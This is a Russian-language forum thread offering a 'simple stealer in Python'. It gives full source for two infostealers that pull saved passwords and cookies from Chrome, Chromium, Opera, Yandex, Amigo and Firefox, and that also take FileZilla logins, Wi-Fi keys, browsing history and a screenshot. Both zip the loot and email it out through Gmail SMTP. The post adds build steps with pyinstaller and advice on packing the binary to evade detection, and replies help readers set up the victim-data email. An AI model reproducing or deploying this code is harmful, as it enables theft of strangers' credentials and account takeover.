str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") file.write(all_data) file.close() ################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") file.write(str(Chrome()) + '\n') file.close() ################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close() ################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close() ################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close() ################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close() ################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close() ################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close() ################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close() ################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close() ################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close() ################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close() ################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close() ################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg') ################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close() ################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' ################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'ваша новая почта@gmail.com' msg['To'] = 'почта куда отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext) ################################################################################ # СОЗДАНИЕ ВЛОЖЕНИЯ # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part) ################################################################################ # ОТПРАВКА вам # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login('новая ваша почта гмаил', 'пароль от новой почты гмаил') s.sendmail('новая ваша почта гмаил', 'почта куда отправится', msg.as_string()) s.quit() i = input()

Вот что в архиве.


Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер.
cd и путь к файлу.
Теперь pyinstaller —onefile название вашего файла.py, ентер.
Делаем простой стилер на Python
Стилер (от английского to steal, воровать) — определенный класс троянов (малвари, вирусов — как хотите), функционал которых полностью состоит из кражи сохраненных в системе паролей и отправка их «автору». Стилер, пользуясь наивностью чукотских программистов, залазит в хранилища часто используемых программ и нагло тырит оттуда все логины, пароли и т.п. Следующий, он же последний этап работы программ данного класса — отправка вкусняшек злоумышленнику. Вот как-то так всё это и работает.

Сделать собственный стиллер достаточно легко если ты знаешь хотя бы какой то язык программирования, но для тех кто их не учит я тоже подкину плюшку.
Давайте в этой статье попробуем создать НОРМАЛЬНЫЙ стиллер на Python и криптовать его по мере необходимости. Как это сделать я объясню в видео и в этой статье расскажу как он работает вкратце.
Видеоинструкция тут:
https://viuly.io/video/prostoy-stiler-paroley-na-python-229575
Скачать и Установить:
Выйти из сеанса и снова зайти в него (!) что бы Python добавился в переменные окружения
Перейти в папку со стиллером и открыть в ней командную строку (зажимаем shift > клик правой кнопкой мыши > открыть окно команд)
Дальше установим в Python необходимые библиотеки:
pip install -r biblio.txt
Так же нам необходимо заиметь себе в пользование FTP хостинг, я пользую Ucoz (да он говно), о том как работать с ним и какие данные вводить не пропустите в видосе.
Открываем Билдер и вносим данные хостинга, а так же вводим ключ шифрования. Нажимаем кнопку (она там одна) и получаем в папке Dist готовый стиллер.
Иконку можете заменить на свою, только она должна называться — ‘pic.ico’. По сути мы получаем криптованый файл, который не будет похож на все остальные стиллеры, которые появятся в данной статье. Лучше конечно накрывать сборку Темидой или Вмпротектом, а так же добавлять свои функции для изменения сигнатур данного файла.
Подробнее о работе этого стиллера вы можете почитать в файле base.py я туда добавил комментарии. Вы можете поддержать проект кодом и добавление новых функций.
Браузеры: chrome, yandex, opera, vivaldi, amigo, kometa, orbitum, comodo, torch
Вообщем, всё, пока!
Подписывайся на канал @JumpInTheDark там ещё много вкусного
Soft Стиллер паролей на python с отправкой на почту
Только с почтой google (для других почт нужно немного изменить код).
Если у кого то появятся вопросы — пишите, всем отвечу!
PenLord
New member
13.02.2020 4 0 BIT 0
Если у кого то появятся вопросы — пишите, всем отвечу!
Получены файлы со стиллера, пришли на почту. Но прикол в том, что они приходят зашифрованными, как их расшифровать?
GunQuest
Green Team
03.10.2019 50 37 BIT 0
Получены файлы со стиллера, пришли на почту. Но прикол в том, что они приходят зашифрованными, как их расшифровать?
Открой арихив.
PenLord
New member
13.02.2020 4 0 BIT 0
Открой арихив.
Какой архив?
GunQuest
Green Team
03.10.2019 50 37 BIT 0
Какой архив?
Скинь скрин, что тебе приходит на почту.
PenLord
New member
13.02.2020 4 0 BIT 0
Скинь скрин, что тебе приходит на почту.
Скинь скрин, что тебе приходит на почту.
И так ещё с историей, хотя wifi нормально приходит, и если не отправлять сообщения по почте и открыть txt просто на пк — они читаются нормально.
Вложения
Безымянныssй.png
37,6 КБ · Просмотры: 1 738
Ardddz
Green Team
12.01.2020 21 1 BIT 0
#!/usr/bin/python import smtplib import base64, os, sys, re import sqlite3 import socket import platform import uuid sender = '' reciever = '' password = '' # Dont change this marker = "Morwy" def wifipass(): def get_wlans(): data = os.popen("netsh wlan show profiles").read() wifi = re.compile("All User Profile\s*:.(.*)") return wifi.findall(data) def get_pass(network): try: wlan = os.popen("netsh wlan show profile "+str(network.replace(" ","*"))+" key=clear").read() pass_regex = re.compile("Key Content\s*:.(.*)") return pass_regex.search(wlan).group(1) except: return " " f = open("wifi.txt","w") for wlan in get_wlans(): f.write("-----------\n"+" SSID : "+wlan + "\n Password : " + get_pass(wlan)) f.close() wifipass() ################ CHROME ################ ################ CODE ################ ################ HERE ################ def history(): import operator from collections import OrderedDict #import matplotlib.pyplot as plt def parse(url): try: parsed_url_components = url.split('//') sublevel_split = parsed_url_components[1].split('/', 1) domain = sublevel_split[0].replace("www.", "") return domain except IndexError: print ("URL format error!") def analyze(results): b=open("chrome1.txt","w") for site, count in sites_count_sorted.items(): #print site, count b.write(site + "\n") #path to user's history database (Chrome) b.close() data_path = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default" files = os.listdir(data_path) history_db = os.path.join(data_path, 'history') #querying the db c = sqlite3.connect(history_db) cursor = c.cursor() select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;" cursor.execute(select_statement) results = cursor.fetchall() sites_count = <> for url, count in results: url = parse(url) if url in sites_count: sites_count[url] += 1 else: sites_count[url] = 1 sites_count_sorted = OrderedDict(sorted(sites_count.items(), key=operator.itemgetter(1), reverse=True)) analyze (sites_count_sorted) ################ CHROME ################ ################ CODE ################ ################ HERE ################ history() def chrome(): import os,sqlite3,win32crypt data=os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data" connection = sqlite3.connect(data) cursor = connection.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') final_data=cursor.fetchall() a=open("chrome.txt","w") a.write("Extracted chrome passwords :\n") for website_data in final_data: password = win32crypt.CryptUnprotectData(website_data[2], None, None, None, 0)[1] one="Website : "+str(website_data[0]) two="Username : "+str(website_data[1]) three="Password : "+str(password) a.write(one+"\n"+two+"\n"+three) a.write("\n"+"====="*10+"\n") a.close() chrome() ################ EMAIL ################ ################ CODE ################ ################ HERE ################ filename = "wifi.txt" fo = open(filename, "rb") filecontent = fo.read() encodedcontent = base64.b64encode(filecontent) body = """ New stuff info from victim """ part1 = """From: Victim <> To: Filip <> Subject: Victim wifi MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=%s --%s """ % (marker, marker) part2 = """Content-Type: text/plain Content-Transfer-Encoding:8bit %s --%s """ % (body,marker) part3 = """Content-Type: multipart/mixed; name=\"%s\" Content-Transfer-Encoding:base64 Content-Disposition: attachment; filename=%s %s --%s-- """ %(filename, filename, encodedcontent, marker) message = part1 + part2 + part3 try: smtpObj = smtplib.SMTP('smtp.gmail.com:587') smtpObj.starttls() smtpObj.login(sender, password) smtpObj.sendmail(sender, reciever, message) fo.close() os.remove("wifi.txt") except Exception: print ("Error: unable to send email") ################################################# filename = "chrome1.txt" fo1 = open(filename, "rb") filecontent = fo1.read() encodedcontent = base64.b64encode(filecontent) body = """ New stuff info from victim - History """ part1 = """From: Victim <> To: Filip <> Subject: Victim chrome history MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=%s --%s """ % (marker, marker) part2 = """Content-Type: text/plain Content-Transfer-Encoding:8bit %s --%s """ % (body,marker) part3 = """Content-Type: multipart/mixed; name=\"%s\" Content-Transfer-Encoding:base64 Content-Disposition: attachment; filename=%s %s --%s-- """ %(filename, filename, encodedcontent, marker) message = part1 + part2 + part3 try: smtpObj = smtplib.SMTP('smtp.gmail.com:587') smtpObj.starttls() smtpObj.login(sender, password) smtpObj.sendmail(sender, reciever, message) #print "Successfully sent email" fo1.close() os.remove("chrome1.txt") except Exception: print ("Error: unable to send email") ########################################### filename = "chrome.txt" fo = open(filename, "rb") filecontent = fo.read() encodedcontent = base64.b64encode(filecontent) body = """ New stuff info from victim =========================== Name: %s FQDN: %s System Platform: %s Machine: %s Node: %s Platform: %s Pocessor: %s System OS: %s Release: %s Version: %s """ % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ########### part1 = """From: Victim <> To: Filip <> Subject: Victim saved pass MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=%s --%s """ % (marker, marker) part2 = """Content-Type: text/plain Content-Transfer-Encoding:8bit %s --%s """ % (body,marker) part3 = """Content-Type: multipart/mixed; name=\"%s\" Content-Transfer-Encoding:base64 Content-Disposition: attachment; filename=%s %s --%s-- """ %(filename, filename, encodedcontent, marker) message = part1 + part2 + part3 try: smtpObj = smtplib.SMTP('smtp.gmail.com:587') smtpObj.starttls() smtpObj.login(sender, password) smtpObj.sendmail(sender, reciever, message) fo.close() os.remove("chrome.txt") except Exception: print ("Error: unable to send email")
Стиллер с отправкой паролей на электронную почту. Очень прост в использовании
Просто скачайте файл InfoStealer — Github edition .py
И измените все 3 параметра на свои: отправитель = ‘Login@gmail.com’
пароль = «ваш пароль»
P.S Это фикс какого-то не рабочего стиллера.
Внимание! Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите
Мой проект на гитхабе: Morwenns/Stealer
Привет, а библиотеки важно устанавливать?
Volstiny
New member
15.07.2019 1 0 BIT 0
етот сииллер уже не будет работаь на хроме v80
Vag
New member
26.05.2020 1 0 BIT 0
Всем доброго времени суток. Я очень извиняюсь, это всё сохранить в каком формате?
И вот еще вопрос.
И измените все 3 параметра на свои: отправитель = ‘Login@gmail.com’ — мой майл.
reciever = ‘receiver@gmail.com’ — а сюда какой майл писать?
пароль = «ваш пароль» ( от моего майла )
GunQuest
Green Team
03.10.2019 50 37 BIT 0
Всем доброго времени суток. Я очень извиняюсь, это всё сохранить в каком формате?
staxanovec
New member
01.06.2020 3 0 BIT 0
Правильно я понимаю, что ограничений на каком железе и ОС будут запускать разн вы нет? На всех будет исправно работать?